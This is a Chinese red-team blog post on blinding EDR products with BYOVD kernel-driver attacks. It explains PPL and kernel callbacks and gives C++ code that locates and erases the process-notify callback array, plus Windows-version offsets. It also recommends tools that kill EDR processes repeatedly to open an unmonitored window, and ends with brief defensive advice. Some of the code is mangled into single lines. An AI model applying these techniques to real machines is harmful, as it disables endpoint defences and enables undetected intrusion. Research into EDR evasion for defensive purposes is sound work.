对抗临近 | 红队大佬的私人秘籍：EDR绕过技术曝光！

一、背景

    这个发现让我倍感震惊，因为EDR系统一直被视为网络安全防御的最后一道壁垒。然而，现实却狠狠地给了我一巴掌，我亲自验证了如何利用该绕过技术绕过EDR设备的检测。

    在本篇分享中，我将分享自己通过一系列实验和深入分析研究出来的成果，并深入探讨这些EDR绕过技术的工作原理和防御方式。通过揭示EDR绕过技术，我希望能让大家认识到EDR绕过的风险，引起更多人对EDR绕过问题的重视，并为该问题提供有针对性的解决方案。

二、前言   

    在对EDR的防护能力和运行机制有一个较整体的了解后，再详细分析如何利用驱动杀掉EDR（BYOVD攻击）。最后，文章的结尾会给出此类攻击的防护建议。

三、正文

（1）相关概念介绍

    0x01 用户态和内核态

    0x02 PPL进程

    Windows Vista最先引入的是Protected Process的概念，即受保护进程。从Windows 8.1开始，PPL(Protected Process Light)开始启用。最初其实是用于保护媒体的版权，既让媒体播放器可以读取文件，又能防止随意复制盗版其内容。对于PPL进程，我们需要搞清楚以下概念：

1. PP进程可以全权访问同权限或更低权限的PP进程或PPL进程，如都是系统权限的PP进程可以彼此访问对方，而管理员权限的PP进程则无法访问系统权限的PP进程
2. PPL进程可以全权访问同权限或更低权限的PPL进程
3. PPL进程无法全权访问PP进程

    0x03 回调函数

    EDR为了保证自己的防护效果，通过Windows提供的接口，在内核注册了若干回调函数（callback）。这些回调函数通常用来监控进/线程创建销毁、文件创建删除、网络连接和注册表相关操作。例如，内核里有一个叫PspCreateProcessNotifyRoutine的数组，该数组通过指针的形式（也就是将回调函数的内存地址放在数组里）最多可保存64个回调函数。每当一个进程被创建或销毁，就会遍历这个数组，找到对应回调函数的位置，依次调用，从而通知EDR有进程创建或销毁。类似的文件、网络和注册表等也是通过这一过程实现，由此EDR便具备了核心的监控能力。具体实现步骤会在下文详细分析。

    0x04 服务重启机制

    Windows会为某些服务设置启动失败后的重试机制，以确保服务的正常持续运行。Windows服务控制管理器(Service Control Manager)会为每个服务定义一个重试间隔时间和最大重试次数，当SCM反复拉起达到最大重试次数后，SCM将不再尝试重启该服务。例如Win10_1709及更高版本中，Windows Defender的默认最大重启次数为5次。为了演示，上文仅使用了Windows的防护进程，而实际对抗过程中，EDR一般还会存在一个类似"xxSrv.exe"的进程。当我们反复杀掉这个进程后，服务进程不再重启，此时再杀掉防护进程，就可以在窗口期内自由操作，争取到一段冲锋的时间。

（2）EDR的监控响应能力如何而来

    0x01 EDR的功能组件

1. 终端防护进程，负责扫描和识别是否为恶意文件，如MsMpEng.exe；

2. 终端服务进程，负责启动和停止EDR相关服务、进程，如MsMpSvc.exe；

3. 注册表，保证EDR相关进程在系统开机后立即启动，并初始化为PPL进程；

4. 内核驱动，通过回调函数，监测来自内核的各种事件，如进程创建、内存分配等等；

    从以上描述可以看出，防护进程、服务进程和注册表，主要完成用户态层面的工作；内核驱动则主要负责处理Windows提供的各项内核回调函数，实现深度监控。

    接下来我们来详细看看各个组件的情况。

    0x02 防护进程与服务进程

    标识为Antimalware(反恶意软件)的3676号进程赫然在列。所以，至少你需要用系统级别的PPL进程才能杀掉它。而当你真的将防护进程杀掉后，再次执行tasklist，你会发现它又静静的陈列在那，仿佛根本没有消失过。事实上，当终端服务进程检测到防护进程下线时，会立马再次拉起防护进程。因此，EDR的服务进程理所当然的成为了众矢之的。那么我们是否可以用同样的办法杀掉服务进程后，再来杀防护进程呢？

    答案是否定的。自Windows 8.1起，微软引入了保护服务的概念。简单来说，就是通过内核驱动(Early Launch Antimalware driver)启动的服务进程，将无法被暂停、停止或着禁用。所以如果只是停留在用户态下，不管获取何种权限，都无法杀掉服务进程。

    0x03 注册表

    0x04 内核驱动

1. PsSetCreateProcessNotifyRoutine：注册监测新进程的回调函数

2. PsSetLoadImageNotifyRoutine：注册监测新模块加载、文件映射的回调函数

3. PsSetCreateThreadNotifyRoutine：注册监测新线程的创建销毁

4. CmRegisterCallbackEx：监测注册表的创建、修改或删除操作

5. FltRegisterFilter：监测文件访问、创建或删除操作

    这就解释了为什么我们哪怕获取到管理员权限，依然无法更改EDR的注册表。同时，也揭示了为什么红队队员通过CS执行命令会被发现，因为EDR通过内核回调监测到你调用了cmd.exe 并执行了诸如ipconfig/whoami之类的敏感命令。

（3）用魔法打败魔法

    想要击败守在内核的EDR，你就也得从内核出发。别急，这并不难，并不是挂上了驱动的名号就代表它很复杂。无需恐慌，让我带你一步步见识魔法，学会魔法，使用魔法。

    0x01 实现原理

    如前面提到的，PsCreateProcessNotifyRoutine数组中存储了若干进程回调函数的地址，EDR注册的回调函数也存放在其中。当进程创建时，内核会根据数组里存放的地址调用对应的监控函数。那么，如果我们将这个数组中的EDR函数抹除，是否就意味着内核无法意识到EDR的回调函数需要被调用，EDR也就丧失了这一块的监控能力？

    我们可以看到PspSetCreateProcessNotify函数中以LEA r13 nt!PspCreateProcessNotifyRoutine的方式，获取了进程回调存储数组的相对偏移地址，对了简便我们称呼它为X。如果我们能够获取到X，就可以在内核中找到回调存储数组的具体位置。

DWORD64 Findkrnlbase() {    DWORD cbNeeded = 0;    LPVOID drivers[1024];
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {  // 获取驱动列表        return (DWORD64)drivers[0];  // 驱动列表第一个即内核基址，也就是内核起始地址    }
    return NULL;}
DWORD64 GetFunctionAddress(LPCSTR function) {
    DWORD64 Ntoskrnlbaseaddress = Findkrnlbase();      // 获取到内核基址    HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");  // 通过LoadLibraryW API拿到内核模块句柄
        // GetProcAddress拿到目标API相对内核基址的偏移地址    DWORD64 Offset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, function)) - reinterpret_cast<DWORD64>(Ntoskrnl);
    // 内核基址 + API相对内核基址的偏移地址 = API实际存储地址    DWORD64 address = Ntoskrnlbaseaddress + Offset;    FreeLibrary(Ntoskrnl);    Log("[+] %s address: %p", function, address);    return address;}
int main(){    const DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");}

    我们通过找到内核基址，再利用代码注入中常用的GetProcAddress这个API，获取到PspSetCreateProcessNotifyRoutine相对于内核基址的偏移地址，于是拿到了它的完整内存地址。

    在获取到目标API的地址后，我们接着看上图中LEA指令的下面几行：XOR r8d,r8d;ADD rcx,r13; MOV rdx,rdi;这几行命令，并不涉及每次执行时的相对地址，也就是说，它们在内存中的内容是固定的。我们将这几条转换为机器码，得到4533c04903cd488bd7。也就是说，如果我们在PspSetCreateProcessNotify函数的范围里，找到了这一串机器码，就证明我们定位到了LEA r13 nt!PspCreateProcessNotifyRoutine指令的附近。再看上图中的LEA rcx,[rbx*8]，机器码长度也固定为8个字节，而LEA后面跟的地址长度为4个字节（32位地址）。所以我们只需要在找到特征机器码后，往前移12位（0xC），就找到了X的起始地址。从X起读取32位，就获得了PspCreateProcessNotifyRoutine数组的偏移地址。

DWORD64 PatternSearch(HANDLE Device, DWORD64 start, DWORD64 end, DWORD64 pattern) {    int range = end - start;
    for (int i = 0; i < range; i++) {        DWORD64 contents = ReadMemoryDWORD64(Device, start + i); // 比对寻找内存中特征机器码的位置        if (contents == pattern) {
            return start + i;  // 返回机器码起始位置        }    }
}
// 为方便阅读，将这一部分命名成了main函数，@br-sn的代码并非如此int main(){const DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");const DWORD64 IoCreateDriverAddress = GetFunctionAddress("IoCreateDriver");  //the address returned by the patternsearch is just below the offsets. DWORD64 patternaddress = PatternSearch(Device, PsSetCreateProcessNotifyRoutineAddress, IoCreateDriverAddress, offsets.process);
// 从机器码起始位置减去12位，定位到存放相对偏移地址的位置；读取32位，获得具体偏移地址是多少DWORD offset = ReadMemoryDWORD(Device, patternaddress - 0x0c);  // 0x0c = 12
// 由于找到的patternaddress是64位，而偏移地址是32位，直接相加可能会导致溢出，因此分成高32位和低32位分别计算DWORD64 PspCreateProcessNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress) + offset) - 8;}

    为什么计算地址时最后还需要减8？因为LEA相对偏移地址是根据LEA下一条指令的位置计算的，而我们根据特征机器码比对得到的地址是LEA rcx,[rbx*8]之后的地址。所以我们还需要减去LEA rcx,[rbx*8]指令的长度，最后得到的才是正确的偏移量。WinDBG给出的API的位置为fffff8001E4Ec0A0，我们可以验证一下上述计算方式是否正确：

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {EX_RUNDOWN_REF RundownProtect;   // EX_RUNDOWN_REF长度为8位PEX_CALLBACK_FUNCTION Function;  // 回调函数位置PVOID Context;} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

typedef struct _CMREG_CALLBACK {    LIST_ENTRY List;    ULONG Unknown1;    ULONG Unknown2;    LARGE_INTEGER Cookie;    PVOID Unknown3;    PEX_CALLBACK_FUNCTION Function;   // Callback Routine} CMREG_CALLBACK, *PCMREG_CALLBACK;

在Windbg中找到它

    这边依然给出一个实际可行的方案，利用backstab或offensivePH，反复杀掉EDR的防护进程，利用服务重启机制，获得一段无EDR防护的空窗期（大约3~5分钟），去执行敏感操作。一般而言，这一操作并不会告警，只会在EDR日志里留下kill的记录。

    0x02 补充

// Win10各版本之间这些函数开头的内容分别是什么// 只需要定位到函数的开头内容，再去匹配，就能适配各Win10版本struct Offsets getVersionOffsets() {    wchar_t value[255] = { 0x00 };    DWORD BufferSize = 255;    RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);    wprintf(L"[+] Windows Version %s Found\n", value);    auto winVer = _wtoi(value);    switch (winVer) {        //case 1903:    case 1909:        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };    case 2004:        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };    case 2009:        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };    default:        wprintf(L"[!] Version Offsets Not Found!\n");
    }}

（四）防护手段

1. 监控已知的BYOVD驱动文件Hash，一旦落地立即删除或告警

2. 禁止自行安装驱动，建立统一管控的驱动库。（危险驱动列表可以参考微软的清单.）

（五）总结

    这次的研究让我深刻认识到，网络安全永远不是一劳永逸的事情。攻击者会不断进化和创新，他们总能找到绕过安全措施的方法。作为安全研究员，我们也必须与时俱进，不断学习和进步，以保持我们的网络安全不受威胁。

（六）参考文献

• https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/load-and-unload-device-drivers

• https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

• https://posts.specterops.io/mimidrv-in-depth-4d273d19e148

• https://blog.csdn.net/liqiang981/article/details/51895009

• https://rootclay.gitbook.io/windows-access-control/qi-an-quan-biao-shi-fu

• https://learn.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode

• https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#anti-malware-service-signing-requirements

• https://redops.at/en/blog/a-story-about-tampering-edrs

• https://synzack.github.io/Blinding-EDR-On-Windows/

• https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/

• https://www.first.org/resources/papers/telaviv2019/Ensilo-Omri-Misgav-Udi-Yavo-Analyzing-Malware-Evasion-Trend-Bypassing-User-Mode-Hooks.pdf

• 《An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors》

  
  

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